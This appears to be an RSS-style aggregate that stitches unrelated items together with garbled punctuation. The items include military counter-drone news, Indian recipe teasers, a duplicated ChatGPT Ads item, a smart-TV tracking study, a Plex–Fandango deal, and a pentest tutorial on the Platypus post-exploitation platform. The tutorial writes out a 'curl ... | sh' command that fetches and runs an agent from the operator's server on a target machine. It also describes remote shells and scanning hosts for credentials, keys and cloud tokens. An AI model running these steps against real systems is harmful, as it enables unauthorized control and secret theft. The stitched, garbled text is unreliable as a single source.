U.S. Army soldiers and U.S. Air Force airmen at Grafenwoehr Training Area in Germany are training on the Rapidly Deployable Small-Unmanned Air Defense System, or RD-SUADS, a palletized counter-drone system built by Trust Automation of San Luis Obispo, California, as they test how training across services can sharpen the response to drone threats, U.S. Army [β¦]These simple vegan avocado parathas are made with wholemeal wheat flour, a little chickpea flour and a few everyday spices from my spice box. Read More ...
The post Vegan Avocado Parathas β Soft Indian Flatbreads first appeared on Give Me Some Spice!.
For this curry, I used the mangoes readily available at Tesco for this simple mango curry. They are usually sweet and juicy, so there is no need to add any sugar or jaggery. A teaspoon Read More ...
The post Simple Sweet Mango Curry (No Garlic, No Tomato) first appeared on Give Me Some Spice!.
OpenAI expands ChatGPT Ads to 89 markets, adding 26 new locations. Here's who can advertise, eligibility rules, and targeting restrictions.
The post ChatGPT Ads Expand to 89 Countries β But Who Can Actually Advertise? appeared first on TechRepublic.
OpenAI expands ChatGPT Ads to 89 markets, adding 26 new locations. Here's who can advertise, eligibility rules, and targeting restrictions.
The post ChatGPT Ads Expand to 89 Countries β But Who Can Actually Advertise? appeared first on TechRepublic.
Smart TVs running operating systems from Samsung, Vizio, and Roku continue sending data to automatic content recognition (ACR) endpoints after users opt out of tracking in the devicesβ settings, according to research published on Monday. The paper from Northeastern University researchers points to potential privacy violations from some of the biggest TV brands.
ACR captures video screenshots or audio clips from smart TVs and sends the data to remote servers, where it's used for things like measuring content viewership and serving targeted ads.
The paper, "Watching the Watchers: Privacy Analysis of US Smart TV Automatic Content Recognition," examined eight smart TV OSes across 12 smart TVs from 10 manufacturers (Amazon, Hisense, LG, Roku, Samsung, Sony, Supersonic, TCL, Vizio, and Westinghouse) to examine when smart TVs use ACR and how effective opting out of user tracking is.
Β© https://www.gettyimages.com/detail/photo/modern-living-room-with-smart-tv-and-remote-control-royalty-free-image/2226225055
These Gujarati-inspired theplas are made with a combination of wheat flour, chickpea flour and bajra flour (pearl millet flour). I added grated paneer, frozen methi (fenugreek leaves), fresh ginger, spices and sesame seeds for extra Read More ...
The post Gujarati Theplas with Paneer, Methi and Sesame Seeds first appeared on Give Me Some Spice!.
Plex, which made a name for itself by letting users share movies they own, is now helping sell movie theater tickets. The company is looking to monetize its content-discovery capabilities and expand its business beyond its media server software.
Plex partnered with Fandango, which has sold movie tickets since 2000, to drive ticket sales from people searching for movies to stream. Per the announcement:
Starting today, Plex users in the US will see a Fandango ticketing option on title pages for movies currently playing in theaters, allowing them to click through to Fandango to find showtimes and purchase tickets. The integration also enables direct attribution through Kochava, giving studios and advertisers greater visibility into how campaigns and audience engagement translate into ticket sales.
Fandango says it sells tickets for 31,000 movie theater screens in the US. The Plex deal allows it to leverage data from Plexβs streaming service (Plex claims users of the service βmake more than 100 million streaming decisions each monthβ), including "ratings and cross-platform viewing" to gain βinsight into audience intent," the announcement said.
Β© Getty
Welcome back, aspiring cyberwarriors!
One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.
As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and itβs easy to lose track of whatβs already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.
You can use Platypus to solve this issue. Itβs a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.
Letβs see how it works.
Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface.Β The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).
From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network
The easiest way to install Platypus is with Docker.
Login
kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd PlatypusBefore starting the containers, thereβs one important configuration change to make.
Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If youβre deploying on a VPS, replace it with the public IP instead.
Thatβs the only configuration change needed for a basic installation. Once youβve saved the file, launch the platform.
kali > docker-compose up -dAfter everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. Thatβs the same address you should include in the set up process when you access it on the web.
During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, youβll need to provide the Bootstrap Secret generated during installation
kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secretCopy and paste it.
Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.
Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.
The platform supports Linux, Windows and macOS
When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.
Once youβve configured the agent, Platypus generates a unique installation link you can run on the target machine.
Keep in mind that it doesnβt permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.
To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.
ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/nullAfter a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.
One of the first features youβll use is the interactive shell. Since we went with the Full package, shell was included by default.
Another useful feature is the file browser.
Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.
The platform also includes various security checks. These arenβt meant to replace a full security assessment, but they come in handy.
Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.
Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.
If youβre interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Pentesting: Managing Compromised Machines with Platypus first appeared on Hackers Arise.
